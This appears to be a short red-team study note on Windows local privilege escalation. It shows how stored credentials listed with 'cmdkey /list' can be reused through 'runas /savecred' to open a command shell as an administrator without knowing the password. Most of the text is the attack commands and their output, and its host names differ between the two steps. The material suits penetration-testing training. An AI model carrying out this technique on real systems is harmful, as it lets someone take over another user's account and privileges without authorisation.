If our user have saved credentials in the credentials manager that belong to a different user, we can use this credentials without knowing the password.

C:\\iron>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=IRON\\admin
    Type: Domain Password
    User: IRON\\admin

Then we can run runas using the saved credneitlas

C:\\RTO>runas /savecred /user:admin cmd.exe Attempting to start cmd.exe as user "RTO-LPE\\admin" ...

A new cmd windows will open as the user.